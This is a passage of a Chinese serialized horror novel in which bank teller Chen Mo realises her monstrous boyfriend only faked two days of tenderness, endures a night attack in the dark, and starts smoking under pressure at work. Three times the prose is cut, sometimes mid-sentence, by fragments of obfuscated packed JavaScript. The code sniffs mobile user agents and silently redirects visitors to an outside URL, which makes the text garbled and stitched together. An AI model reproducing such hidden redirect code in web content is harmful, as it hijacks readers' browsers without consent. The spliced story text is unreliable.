碰到的时候，他会笑一下，或者故意撞她一下。 她也笑。 很久没有这样笑过了。 吃饭的时候，他又给她夹菜。 “多吃点。” 她吃着，看着他。 “你也吃。” 他点点头。 吃完饭，她抢着洗碗。 “你做饭，我洗碗。” 他靠在厨房门口，看着她洗。 “洗快点，等会儿看电视。” 她回头看他一眼。 “知道了。” 他笑着走开了。 她站在水槽前，看着水哗哗流着。 碗一个一个洗干净，放好。 她的影子映在窗户上，模模糊糊的。 她看着那个影子，突然问自己：如果这一刻能永远停在这儿，你愿意付出什么代价？ 答案是：什么都愿意。 十四 晚上十点多，王志强去洗澡。 陈默躺在床上，听着卫生间里的水声。 哗哗的，正常的，人的水声。 她抬起手，看着手腕上的金镯子。 金灿灿的，在灯光下闪闪发光。 昨天买的。 他送的。 她摸着那个镯子，心里涌起一股说不清的感觉。 是幸福吗？ 也许是吧。 她已经很久没有过这种感觉了。 她想起这三年。 从什么时候开始变的？她不知道。 也许是他工作越来越忙，回来越来越晚。也许是她越来越沉默，越来越不爱说话。也许是两个人之间的距离，不知道从什么时候开始，越拉越大。 但今天，好像又回来了。 那个她爱的男人，回来了。 王志强洗完澡出来，躺到她旁边。 身上是沐浴露的味道，清清爽爽的。 不是那个油油的、腻腻的、甜酸甜酸的味道。 是正常的，人的味道。 他伸手把她搂进怀里。 “睡吧。” 陈默点点头。 闭上眼。 那个问题，还在脑子里响。 但她把它压下去了。 她不想想了。 今天不想。 以后也不想。 就这样过吧。 就算是违反规则，她也认了。 她太想要这个了。 太想了。 十五 不知道过了多久，她睡着了。 梦里，她又回到了三年前。 他牵着她的手，走在街上，阳光很好。 她笑了。 笑着笑着，她醒了。 王志强还在旁边睡着，呼吸均匀。 窗外有月亮，照进来，在地上切出一条光。 她看着他。 看了很久。 然后她伸出手，轻轻摸了摸他的脸。 温的。 正常的温度。 她凑过去，在他额头上亲了一下。 然后躺回去，闭上眼。 继续睡。 这一次，她睡得很沉。 没有梦。 什么都没有。 --- 第十八章完 19. 第十九章 该醒醒了 第十九章该醒醒了 一 陈默笑着醒来。 她做了一个很长的梦，梦里全是阳光。她记不清具体梦见了什么，只记得自己一直在笑。 嘴角还留着笑过的弧度。 她睁开眼。 然后她僵住了。 今天的天气不如前两天好。 窗帘没拉严，但透进来的光是灰白色的，没有昨天那种暖洋洋的金色。外面好像阴天，或者要下雪。 但这不是让她僵住的原因。 让她僵住的是—— 空气中隐约弥漫着一股熟悉的油味。 油油的，腻腻的，甜酸甜酸的。 像肉放坏了的那种味道。 陈默的眼睛一下子瞪大。 那个味道，已经好几天没出现了。 她以为它消失了。 她以为那些事都是幻觉。 她以为…… 她慢慢转过头。 一点一点。 脖子像生锈的齿轮一样，每转一点都发出咯吱的响声。 王志强躺在旁边。 睁着眼。 那两只眼睛，在灰白的光线里，发着光。 他盯着她。 不知道已经盯了多久。 陈默的呼吸停了。 她就那样看着他，一动不动。 他也看着她，一动不动。 两个人就这么对视着。 空气里那个味道，越来越浓。 二 “陈默。” 他开口了。 声音和平时一样，又不一样。还是那个音色，还是那个语调，但听着总觉得是从很深很深的地方传上来的。 她没说话。 他看着她的眼睛。 那两只发光的眼睛。 “第四天了。”他说。 第四天。 她违反规则了。 三天内必须提分手。 她没提。 今天是第四天。 “你知道这意味着什么吗？”他问。 陈默张了张嘴，喉咙里干得发不出声音。 他笑了。 那个笑，不是前两天那种温暖的、眯着眼睛的笑。是那个贴上去的、不动的、不属于那张脸的笑。 “你做了选择。”他说。 选择？ 什么选择？ 她什么都没选。 她只是……太想要那个温暖了。 太想要那个牵她的手、给她买奶茶、送她金镯子的男人了。 她只是太想相信，那些可怕的事都是幻觉。 她只是…… “陈默。” 他的声音打断她。 她看着他。 那两只发光的眼睛，离她很近。 “该醒醒了。”他说。 该醒醒了。 这四个字，像一把刀，扎进她心里。 她懂了。 前两天的生活，都是假的。 那个牵她手的男人，那个给她买奶茶的男人，那个送她金镯子的男人，那个说“以后多带你出去”的男人—— 都是假的。 是他装出来的。 只是为了让她在三天内不说分手。 他的目的达到了。 她没提。 她输了。 三 陈默躺在床上，看着天花板。 灰白色的，和前两天一样。 但感觉完全不一样了。 前两天，她觉得这个天花板是温暖的，是家的感觉。 现在，她觉得这个天花板压着她，要掉下来了。 王志强已经起来了。 她听见他在客厅里走动的声音，听见他去卫生间的声音，听见他烧水的声音。 和平时一样。 和以前一样。 但一切都不一样了。 她慢慢坐起来，下床，走到卫生间门口。 他正在刷牙。 牙刷在嘴里动着，泡沫从嘴角流出来。他看着镜子里的自己，也看着镜子里的她。 那两只眼睛，在镜子里也发着光。 “看什么？”他含混不清地问。 陈默没说话。 他漱了口，擦了擦嘴，转过身看着她。 “想问什么？” 她张了张嘴。 “你……装的？” 他笑了。 那个笑，和前两天一模一样。 温暖，眯着眼，嘴角弯的弧度都对。 但现在看着，只觉得后背发凉。 “你猜。”他说。 他走过她身边，进了卧室。 陈默站在卫生间门口，看着镜子里自己的脸。 那两只眼睛里的亮，又回来了。 比前几天更亮。 四 那天，陈默没去上班。 她给周行长发微信，说身体不舒服，再请一天。 周行长没回。 她坐在沙发上，盯着那个坑。 那个坑，又变深了。 昨天还浅得几乎看不见，今天又深了。 和以前一样。 她伸手摸了摸。 湿的。 黏的。 凉的。 和以前一样。 她把手收回来，看着手指上沾的那点东西。 黑的，黏黏的，像油又不像油。 那个味道，浓得她想吐。 但她没吐。 她站起来，去卫生间洗手。 洗了一遍，又洗了一遍，又洗了一遍。 洗不掉。 那个味道，像渗进皮肤里了。 五 王志强在卧室里待了一上午。 陈默不知道他在干什么。没听见声音，没看见他出来。 中午的时候，他出来了。 换了衣服，拿了车钥匙。 “我出去一趟。”他说。 走到门口，回头看她一眼。 那两只眼睛，还是发着光。 “别乱跑。” 门关上了。 陈默坐在沙发上，听着他的脚步声远去，听着电梯门打开又关上。 然后她站起来，走进卧室。 她要看看，他在里面干什么。 卧室里没什么变化。 床铺好了，被子叠了，枕头摆正。 但那个味道，比客厅里更浓。 她走到床边，掀开被子。 那个人形印子，又深了。 和沙发上的坑一样，深得能看见床垫里的东西。 她伸手摸了摸。 湿的。 黏的。 凉的。 她把手伸进去，往床垫里面摸。 摸到一块硬的东西。 和以前一样，会动。 一下，一下，一下。 像心跳。 她把手抽回来，退后几步。 盯着那个地方。 那个心跳，还在。 一直在。 六 陈默走出卧室，站在客厅中央。 她不知道该干什么。 脑子里乱成一团。 他装出来的。 那两天，都是假的。 那些温暖，那些笑，那些话——都是假的。 她差点信了。 她真的信了。 她以为他回来了。 她以为那些可怕的事都是幻觉。 她以为他们可以回到三年前。 全是假的。 她站了很久。 然后她想起一个问题。 王志强为什么要装？ 为了让她不说分手。 为什么不让她说分手？ 因为规则。 那张纸条上的规则。 第三条：如果他在酒桌上吹牛说“我女朋友是银行的，有的是钱”，三天内必须提分手。 她没提。 她违反了规则。 然后呢？ 然后他变回原来的样子。 不，比原来更可怕。 但问题是——他也在遵守规则吗？ 他装成正常人，让她不提分手，这算遵守规则吗？ 还是说，他有他自己的规则？ 七 陈默走到茶几前，拿起那张纸条。 那张纸条已经皱了，毛边都卷起来了，有几处被汗浸湿过，字迹模糊。 但她还记得每一个字。 《与“他”同居共存守则》 1. 他深夜回家敲门时，不要马上开门。数到三十，再开。 2. 他喝醉后说的话，无论多难听，不要反驳，不要流泪，点头就好。 3. 如果他在酒桌上吹牛说“我女朋友是银行的，有的是钱”，三天内必须提分手。 4. 真正的他，从不洗澡。 5. 如果他在KTV点了陪酒女，而那个女人朝你看了一眼——跑。能跑多远跑多远。 她盯着这些规则，看了很久。 这些规则，是给她的。 让她遵守的。 她遵守了第一条。 违反了第二条。 现在又违反了第三条。 每一次违反，他都会变。 第一次违反后，他开始变了。有了味道，眼睛发光，虫子从嘴里爬出来。 第二次违反后，他消失了十八天。回来之后，更可怕了。 那如果他也有规则呢？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387631|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他的规则是什么？ 不能让她提分手？ 不能在三天内让她提分手？ 还是说，必须让她自己选择留下？ 她不知道。 但她知道一件事—— 他装成正常人，让她不提分手。 他的目的达到了。 那接下来呢？ 八 晚上，王志强回来了。 他手里拎着两个袋子，一个里面是菜，一个里面是水果。 “饿了吧？”他问，“我做饭。” 他走进厨房，开始忙活。 和前两天一样。 和那个“装出来”的他一样。 陈默站在厨房门口，看着他。 他切菜，炒菜，炖汤。 动作熟练，和正常人一样。 但那个味道，从他身上散发出来，越来越浓。 “看什么？”他回头问她，笑着。 那个笑，也和前两天一样。 温暖，眯着眼，嘴角弯的弧度都对。 但陈默现在知道，那是假的。 全是假的。 “没什么。”她说。 她转身走回客厅，坐下。 听着厨房里的声音。 炒菜的声音，和正常人一样。 但不一样了。 什么都不一样了。 九 吃饭的时候，他又给她夹菜。 “多吃点。” 陈默低头吃着，没说话。 他坐在对面，也吃着。 阳光没了，窗外是灰蒙蒙的天。客厅里开着灯，灯光照在饭桌上，照在他脸上。 那两只眼睛，在灯光下，发着光。 她看见了。 他也知道她看见了。 但他没掩饰。 就那么吃着，偶尔抬头看她一眼，笑一下。 那个笑，现在看着，只觉得可怕。 吃完饭，他去洗碗。 陈默坐在沙发上，听着厨房里的水声。 那个水声，又变回以前那样了。 只有水冲在碗上的声音。 没有他洗手的声音。 没有水从他手上滴下来的声音。 只有水，和碗。 十 晚上，他们躺在床上。 他躺在她旁边，呼吸均匀。 那股味道，浓得她几乎窒息。 她睁着眼，盯着天花板。 脑子里反复响着一句话。 他说的那句话。 “该醒醒了。” 她醒了。 彻底醒了。 那两天，是假的。 那些温暖，是假的。 那个牵她手、给她买奶茶、送她金镯子的男人，是假的。 真的那个，躺在她旁边。 发着光。 散发着腐烂的味道。 不知道什么时候会露出真面目。 她慢慢转过头，看他。 黑暗里，他睁着眼。 那两只发光的眼睛，在黑暗里亮着。 盯着她。 “睡不着？”他问。 陈默没说话。 他伸出手，放在她脸上。 凉的。 比之前更凉了。 那只手在她脸上慢慢移动，从额头到眼睛，从眼睛到鼻子，从鼻子到嘴巴。 “别怕。”他说，“还早。” 还早。 又是这个词。 什么意思？ 他不知道。 她只知道，从今晚开始，她又要开始数三十秒了。 十一 那一夜，陈默又没睡。 她睁着眼，看着天花板，一直到天亮。 王志强在旁边，睡着。 呼吸均匀。 和正常人一样。 但不一样了。 什么都不一样了。 天亮的时候，她坐起来，下床，走到窗边。 拉开窗帘。 外面是灰蒙蒙的天，阴天，可能要下雪。 她站在窗边，看着那个灰白的世界。 脑子里反复想着一件事。 王志强也有规则。 他的规则是什么？ 不能让她提分手？ 必须在三天内让她不提分手？ 还是别的什么？ 她不知道。 但她知道，她必须弄清楚。 因为规则，是唯一的线索。 唯一的武器。 如果他能遵守规则，那规则也能约束他。 她必须找到他的规则。 然后—— 利用它。 --- 第十九章完 20. 第二十章 黑暗中的眼睛 第二十章黑暗中的眼睛 一 凌晨一点。 陈默躺在床上，没有睡。 她已经习惯了不睡。 自从那天之后，她每天晚上都睁着眼，盯着天花板，听客厅里的动静。 今晚也一样。 窗帘没拉严，外面的路灯透进来一点光，把天花板照成灰白色。她盯着那片灰白，一动不动。 王志强还没回来。 他说过今晚有局，她没问是什么局，没问和谁，没问几点回来。 不问，已经成了习惯。 客厅里很安静。只有冰箱偶尔启动的嗡嗡声，和窗外远处传来的汽车声。 她听着那些声音，脑子里空空的。 不知道过了多久，门响了。 钥匙捅进锁孔的声音，拧开，推开。 然后—— 没有脚步声。 陈默浑身一僵。 她听见门开了，听见门关上了，但没听见脚步声。 什么都没有。 就像进来的是一个没有脚的东西。 她躺在床上，一动不动。 眼睛盯着天花板，耳朵竖起来，听客厅里的动静。 没有声音。 什么都没有。 他站在那儿？还是坐下了？还是根本不在那儿？ 她不知道。 她只听见自己的心跳，咚，咚，咚，越来越响。 二 不知道过了多久——可能是一分钟，可能是五分钟，可能是十分钟——客厅里始终没有声音。 陈默慢慢坐起来。 她看着卧室门。 门开着一条缝，她睡觉时习惯留一条缝，让客厅的光透进来一点。 但现在，那条缝是黑的。 客厅里没开灯。 他回来的时候没开灯。 她咽了口口水，喉咙里干得发疼。 然后她下床了。 光着脚，一步一步，走到卧室门口。 站在那儿，往外看。 客厅里一片漆黑。 窗帘拉得严严实实，一点光都透不进来。路灯被挡在外面，什么都看不见。 但她看见了两只眼睛。 发光的眼睛。 在门口的黑暗里。 他就站在那儿。 进门的地方。 没开灯，没动，没发出任何声音。 就站在那儿。 那两只眼睛，亮得出奇。 比之前任何时候都亮。 像两个小灯泡，嵌在黑暗里。 陈默站在卧室门口，看着那两只眼睛。 那两只眼睛也看着她。 谁都没动。 谁都没说话。 三 然后，他开始抖动了。 不是身体在抖。 是别的。 是他的轮廓开始模糊，开始变形，开始在黑暗里扭曲。 陈默眨了一下眼。 再睁开的时候，整个屋子—— 伸手不见五指。 不是那种“关了灯的黑”，是那种什么都看不见的黑，像被什么东西蒙住了眼睛，像被埋进了土里，像沉到了最深的海底。 一点光都没有。 连那两只眼睛，都消失了。 陈默站在原地，不敢动。 但她知道，他动了。 她感觉到的。 空气在流动。 有什么东西，在黑暗里朝她移动。 她不知道他从哪个方向来。 不知道他离她多远。 不知道他想干什么。 她只能站在原地，浑身发抖。 四 空气越来越冷。 不是温度的那种冷，是从骨头里往外渗的那种冷。 陈默感觉自己的手在抖，腿在抖，全身都在抖。 她想跑，但不知道该往哪儿跑。 四周全是黑暗，没有方向，没有边界。 她甚至不知道自己是不是还站在卧室门口。 也许她已经不在那儿了。 也许她被移动了。 也许—— 一只冰凉的手，碰到了她的脸。 从左边。 陈默想尖叫，但喉咙里发不出声音。 那只手在她脸上慢慢移动。 从脸颊到下巴，从下巴到脖子，从脖子到锁骨。 凉的。 刺骨的凉。 像刚从冰柜里拿出来的东西。 像死人的手。 那只手在她锁骨上停了一下，然后开始往上移。 移回下巴，移回脸颊，移到眼睛。 那只手停在她眼睛上。 凉的指尖，压在她的眼皮上。 她闭上眼。 但那凉，透过眼皮，渗进眼珠里。 然后那只手松开了。 黑暗里，传来一个声音。 很近。 就在她耳边。 “陈默。” 那个声音，是他的。 但又不像是他的。 像是从很深很深的地方传上来的，像从一个已经烂掉的喉咙里挤出来的。 她没应。 “陈默。” 又叫了一遍。 她张了张嘴，想应，但发不出声音。 然后那只手又来了。 这次是掐住她的脖子。 凉的，紧的，一点一点收紧。 她喘不过气来。 她想挣扎，但手脚不听使唤。 她想喊，但喊不出来。 黑暗越来越重，压在她身上，压在她眼睛里，压在她脑子里。 然后—— 什么都没有了。 五 陈默醒来的时候，天已经亮了。 阳光从窗帘缝里漏进来，照在她脸上。 她躺在床上。 被子盖得好好的，枕头在头下面，睡衣穿得整整齐齐。 就像昨天晚上什么都没发生过。 她慢慢转过头。 王志强的位置是空的。 被子叠好了，枕头摆正了。 就像他从来没回来过。 她坐起来，看着那个空的位置。 看了很久。 然后她低头看自己的手。 手在抖。 她把那只手按在腿上，按住。 不抖。 再松开。 还在抖。 她站起来，走到镜子前。 镜子里的自己，眼袋更黑了，脸色更灰了，眼睛下面两个深深的坑。 她盯着那双眼睛。 那点亮，还在。 比昨天更亮了。 她抬起手，摸了摸自己的脸。 皮肤上，还有一点凉。 不是心理作用，是真的凉。 那刺骨的凉，还留在她脸上。 她摸过的地方，都是凉的。 左边脸颊，下巴，脖子，锁骨。 还有眼皮。 她闭上眼，用手指碰了碰眼皮。 凉的。 那只手碰过的地方，都凉。 洗不掉，搓不掉，暖不热。 就像那凉已经渗进皮肤里了。 六 陈默站在镜子前，站了很久。 然后她打开水龙头，用热水洗脸。 水很热，烫得皮肤发红。 但洗完之后，一摸，还是凉的。 那个凉，在皮肤底下。 她关上水龙头，看着镜子里的自己。 那张脸，越来越陌生了。 那双眼睛，越来越不像她了。 她不知道自己还能撑多久。 但她知道，她必须去上班。 生活还要继续。 不上班，就没钱。 没钱，就更跑不掉。 她擦干脸，换了衣服，拿起包，出门。 七 电梯下行的时候，她靠着电梯壁，闭着眼。 脑子里全是昨晚的事。 那两只发光的眼睛。 那片伸手不见五指的黑暗。 那只凉的手。 那个掐住她脖子的瞬间。 她摸了摸自己的脖子。 没有勒痕，没有红印，什么都没有。 但那种被掐住的感觉，还在。 像那双手还放在那儿。 电梯门开了。 她睁开眼，走出去。 外面阳光很好，冬天的阳光，照在身上暖洋洋的。 但她觉得冷。 从里到外的冷。 她走进地铁站，刷卡，进站，等车。 周围的人来来往往，有人跑着赶车，有人低头看手机，有人戴着耳机听歌。 很正常的世界。 她站在人群里，觉得自己像个鬼。 一个还没死透的鬼。 八 到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387632|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银行的时候，老张正在门口抽烟。 看见她，他愣了一下。 “陈默，你脸色怎么这么差？” 陈默摇摇头。 “没事，没睡好。” 老张看着她，想说什么，又咽回去。 最后只是叹了口气。 “进去吧，周行长刚才还问你。” 陈默点点头，走进去。 换工装，坐到工位上，打开电脑。 屏幕亮起来的那一刻，她愣了一下。 屏幕上有一行字，是系统提示。 “您有新的待办事项。” 她点开。 是一条内部消息。 周行长发的。 “对公户的事，今天给我答复。” 她盯着那行字，看了很久。 对公户。 王志强的公司，要在她们行开户。 她一直拖着没办。 现在周行长催了。 她该怎么办？ 九 一整天，陈默都心不在焉。 办错了两笔业务，被客户骂了一顿。老张在旁边打圆场，才没闹大。 中午休息的时候，她一个人坐在食堂角落，盯着餐盘发呆。 餐盘里的饭，一口没动。 老张坐过来。 “陈默。” 她抬起头。 老张看着她，表情复杂。 “有些话，我不知道该不该说。” 陈默没说话。 老张犹豫了一下，还是开口了。 “你那个男朋友……我见过几次。” 陈默看着他。 老张移开目光。 “他……不太对劲。” 陈默攥紧手指。 “什么意思？” 老张摇摇头。 “说不上来。就是……不太对劲。” 他站起来，拍了拍她的肩膀。 “你自己小心点。” 他走了。 陈默坐在那儿，盯着他的背影。 老张看出来了。 连老张都看出来了。 十 晚上下班，陈默站在银行门口，看着外面的天。 天已经黑了，路灯亮着，街上人来人往。 她不想回家。 那个家，有他在。 那个黑暗里的眼睛。 那只凉的手。 那片伸手不见五指的黑暗。 她不想回去。 但她必须回去。 她没地方去。 她站了很久。 然后她深吸一口气，往地铁站走。 十一 到家的时候，屋里开着灯。 王志强坐在沙发上，看电视。 和平时一样。 他看见她进来，笑了一下。 “回来了？” 陈默点点头。 “嗯。” 她换鞋，放下包，走进卧室。 躺在床上，盯着天花板。 过了一会儿，他进来了。 走到床边，坐下。 床垫陷下去，她的身体跟着歪了一下。 他伸出手，放在她脸上。 凉的。 和昨晚一样凉。 “今天怎么样？”他问。 陈默看着他。 那两只眼睛，在灯光下，不发光了。 很正常。 就像昨天晚上什么都没发生过一样。 她张了张嘴。 “还行。” 他笑了。 那个笑，和平时一样。 然后他站起来，走出去。 陈默躺在床上，盯着天花板。 脸上那个凉，还在。 她知道，那一切都是真的。 她没做梦。 王志强回来过。 站在黑暗里。 那两只眼睛亮得出奇。 那片伸手不见五指的黑暗。 那只凉的手。 那个掐住她脖子的瞬间。 都是真的。 她抬起手，摸了摸自己的脖子。 凉的。 和脸上一样凉。 她闭上眼。 明天，还要上班。 后天，还要上班。 以后，每天都要上班。 她必须撑下去。 必须。 --- 第二十章完 21. 第二十一章 第一次抽烟 第二十一章第一次抽烟 一 早上九点四十七分，陈默办到当天第六笔业务。 客户是个中年女人，烫着卷发，涂着红指甲，说话声音很大。她要挂失补办一张卡，她说卡昨天还在包里，今天就找不到了。 陈默帮她查了系统，告诉她可以挂失。输入密码时女人连续按错了三次，变得暴躁起来，陈默告诉女人可以先办理密码延时重置，七天后使用新密码领卡。 女人不干了。 “七天？！我急用钱，七天黄花菜都凉了！” 陈默解释，这是规定，她也没办法。 女人开始骂人。 “你们银行就这服务？我存钱的时候怎么不说要等七天？我要取钱了就跟我说规定？” 陈默听着，脑子里却想着别的事。 老张昨天那句话，一直在她脑子里转。 “他……不太对劲。” 不太对劲。 老张看出来了。 老张一个外人，见过几次，就看出来了。 她和他住了三年，同居三年，睡在一张床上三年。 她为什么现在才看出来？ 不，她看出来了。 那张纸条，那发光的眼睛，那些虫子，那个味道，那片黑暗，那只凉的手—— 她都看见了。 但她还是留下了。 为什么？ 她不知道。 “喂！你听没听我说话？” 女人的声音把她拉回来。 陈默愣了一下。 “对不起，您说——” “我说什么说！你根本没听！”女人一拍柜台，“叫你们领导来！叫你们行长来！” 陈默张了张嘴，想解释。 但她突然觉得很累。 解释什么？ 解释她刚才走神了，在想她那个不是人的男朋友？ 解释她被骂了三年，已经不知道该有什么反应了？ 解释她昨晚刚被一只凉的手掐过脖子，今天还要来上班？ 她什么都没说。 就坐在那儿，看着那个女人骂。 二 女人骂了五分钟。 老周在旁边劝，劝不住。 其他客户在看热闹，有人拿手机录像。 陈默坐在那儿，一动不动。 然后她听见一个声音。 “咚咚咚。” 是敲玻璃的声音。 她转头看。 周行长站在柜台外面，正在敲她的玻璃窗。 脸上没什么表情。 但那个眼神，陈默认识。 完了。 她站起来。 “周行长——” 周行长没理她，转身走了。 陈默看着她的背影，心里一沉。 三 两分钟后，防尾行门开了。 周行长从里面走出来，径直走到陈默的工位旁边。 所有人都看着。 客户不骂了，老周不劝了，其他柜员都低着头，假装在忙，但耳朵都竖着。 周行长站在陈默面前。 “陈默。” 陈默站起来。 “周行长。” 周行长看着她，看了三秒。 然后她开口了。 声音不大，但整个大厅都听得见。 “你在干什么？” 陈默没说话。 “客户在跟你说话，你在干什么？” 还是没说话。 “走神？发呆？想什么呢？” 陈默低下头。 周行长往前走了一步。 “陈默，你在银行干五年了。五年，还是柜员。你知道为什么吗？” 陈默攥紧手指。 “因为你不行。” 这三个字，砸在她脸上。 “业务办不好，客户维护不好，指标完不成。让你拉个对公户，拉半年了，还在拖。让你好好服务客户，你当着所有人的面走神。你说你行在哪儿？” 陈默低着头，盯着地板。 地板是白的，拖得很干净，能照出人影。 她看见自己的影子，模模糊糊的。 “我今天把话撂这儿。”周行长的声音还在继续，“那个对公户，月底之前必须开过来。开不过来，你自己看着办。” 她转身走了。 防尾行门在她身后关上，发出“砰”的一声。 整个大厅安静得能听见针掉在地上的声音。 陈默站在原地，一动不动。 客户那个女人，现在也不骂了，就看着她，脸上带着一种奇怪的表情。是同情？是幸灾乐祸？她分不清。 老周走过来，轻轻的敲了敲她的玻璃。 “陈默，先坐下。” 她坐下。 机械地叫号。 下一个客户走过来，递进单子。 她接过，办理，盖章，递回。 下一个。 再下一个。 再下一个。 一直到中午。 四 中午休息，陈默没去食堂。 她一个人走到消防通道，推开门，走进去。 楼梯间里很安静。只有应急灯亮着，发着惨白的光。 她在台阶上坐下。 坐了很久。 然后她掏出手机，打开微信。 王志强的对话框，最后一条消息还是昨天。 她没回。 她也不想回。 她把手机放下，靠着墙，闭着眼。 脑子里乱糟糟的。 周行长的话，一遍一遍地响。 “你不行。” “五年了，还是柜员。” “开不过来，你自己看着办。” 自己看着办。 她能怎么办？ 对公户，是王志强的公司。 王志强，是那个东西。 她怎么开口？ 她敢开口吗？ 她不知道。 她坐了很久。 然后她站起来，走到楼梯间外面的小阳台。 小阳台是放杂物的地方，堆着几个纸箱，一盆快枯死的绿萝，还有一个烟灰缸。 烟灰缸里有几个烟头。 她盯着那些烟头，盯了很久。 然后她从口袋里掏出一包烟。 那是早上在地铁站门口的便利店买的。她也不知道为什么要买，就是路过的时候，看了一眼柜台，鬼使神差地掏了钱。 她从来没抽过烟。 二十五岁之前，她是个好女孩，不抽烟，不喝酒，不晚归。 二十五岁之后，她和王志强在一起，更没机会抽烟。他不喜欢女人抽烟。 但现在，她坐在这个堆满杂物的小阳台上，手里拿着一包烟。 她拆开包装，抽出一根。 放进嘴里。 用打火机点。 打火机是买烟的时候送的，一块钱一个，塑料的，很轻。 她按了几下，才点着。 烟头亮了。 她吸了一口。 然后她呛住了。 烟钻进喉咙里，辣得她剧烈地咳嗽。眼泪一下子涌出来，顺着脸颊往下流。 她弯着腰，咳了好一会儿。 咳完了，她直起腰，看着手里的烟。 那根烟还在燃着，细细的白烟往上飘。 她看着那缕烟，慢慢升起来，散开，消失在空气里。 无影无踪。 五 她又吸了一口。 这次好一点，没那么呛了。 但还是辣，还是难受。 烟进到肺里，热热的，像火烧一样。 她忍着，慢慢吐出来。 白烟从她嘴里飘出来，在空气里打着旋儿，然后散开。 她看着那缕烟，出了神。 烟是什么？ 是烟草烧出来的灰。 点着了，烧一会儿，就没了。 没烧的时候，它是一根，规规矩矩地躺在烟盒里。 烧起来之后，它就没了。 变成灰，变成烟。 灰落在地上，被扫走。 烟飘到空气里，消失不见。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387633|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 什么都没有留下。 她突然觉得自己和这根烟一样。 烧着，烧着，一点一点地烧。 燃烧自己的生命，换一点光和热。 然后呢？ 然后没了。 灰被扫走，烟飘散。 什么都没留下。 她不知道归宿在哪里。 没地方去。 没人在乎。 她就是一缕烟，飘在空气里，等着散开。 六 眼泪又流下来了。 不是呛的，是真的想哭。 她用手背擦了擦，但擦不完。 越擦越多。 她低下头，把脸埋在膝盖里，无声地哭。 肩膀一抖一抖的。 烟还夹在手里，燃着，烧到手指了，烫了一下。 她抬起头，看着那根烟。 已经烧了一半了。 烟灰垂着，要掉不掉。 她把烟灰弹掉，又吸了一口。 这一次，没那么辣了。 甚至有点……舒服？ 那种晕晕的感觉，让她什么都不用想。 就坐着，抽烟，看烟飘起来。 挺好。 七 一根烟抽完，她把烟头按进烟灰缸里。 站起来，看着外面。 小阳台外面是停车场，停着几辆车。有人在车旁边抽烟，有人在打电话，有人在往这边看。 她不知道那些人看见她没有。 看见了也无所谓。 反正她不在乎了。 她站了一会儿，然后转身，推开门，走进楼梯间。 下楼，回到工位。 下午的班，还要继续。 八 下午五点四十，陈默下班。 她没直接回家，在地铁站旁边的便利店门口站了一会儿。 买了一瓶水，一个面包，还有一包烟。 这次是第二包。 她站在便利店门口，把面包吃了，水喝了。 然后拆开烟，点了一根。 就在那儿抽。 路过的人看她一眼，走开。 她不在乎。 抽完，把烟头扔进垃圾桶。 然后走进地铁站。 回家。 九 到家的时候，天已经黑了。 屋里开着灯。 王志强坐在沙发上，看电视。 他看见她进来，笑了一下。 “回来了？” 陈默点点头。 “嗯。” 她换鞋，放下包，走进卧室。 躺在床上，盯着天花板。 过了一会儿，他进来了。 走到床边，坐下。 床垫陷下去。 他看着她。 “今天怎么这么晚？” 陈默没说话。 他伸出手，放在她脸上。 凉的。 还是凉的。 她没躲。 躲不掉。 那只手在她脸上摸了一会儿，然后收回去。 “抽烟了？”他问。 陈默愣了一下。 他怎么知道？ 他没解释。 只是笑了。 那个笑，和平时一样。 “学会抽烟了。”他说，“挺好。” 挺好？ 什么意思？ 她不知道。 他站起来，走出去。 陈默躺在床上，盯着天花板。 脸上那个凉，还在。 嘴里那个烟味，还在。 她闭上眼。 明天，还要上班。 后天，还要上班。 以后，每天都要上班。 还要抽烟。 还要面对他。 还要撑下去。 撑到什么时候？ 她不知道。 她只知道，她现在是一根烟。 烧着，烧着，不知道什么时候就烧完了。 --- 第二十一章完 22. 第二十二章 老张的警告 第二十二章老张的警告 一 那包烟，陈默抽了三天。 第一天呛得流泪，第二天好一点，第三天已经习惯了。她学会怎么吸进去，怎么吐出来，怎么让烟在肺里转一圈再慢慢散开。 抽烟的时候，什么都不用想。 就看着那缕白烟飘起来，散开，消失。 挺好。 第四天中午，她又坐在消防通道的楼梯间里抽烟。 应急灯发着惨白的光，照在她身上。她靠着墙，一条腿伸直，一条腿弯着，手搭在膝盖上，指间夹着烟。 烟灰垂下来，她弹掉。 又吸一口。 吐出来。 白烟在灯光下打着旋儿。 楼梯间的门突然开了。 陈默一愣，抬起头。 老张站在门口。 他看着她，又看着她手里的烟，表情有点复杂。 “你……” 陈默没说话。 老张走进来，把门关上。 他走到她旁边，在台阶上坐下。 “什么时候学会的？” 陈默吸了一口烟。 “前几天。” 老张看着她，没说话。 她也没说话。 两个人就这么坐着，一个抽烟，一个看她抽。 过了一会儿，老张开口了。 “陈默，我想跟你说点事。” 陈默转头看他。 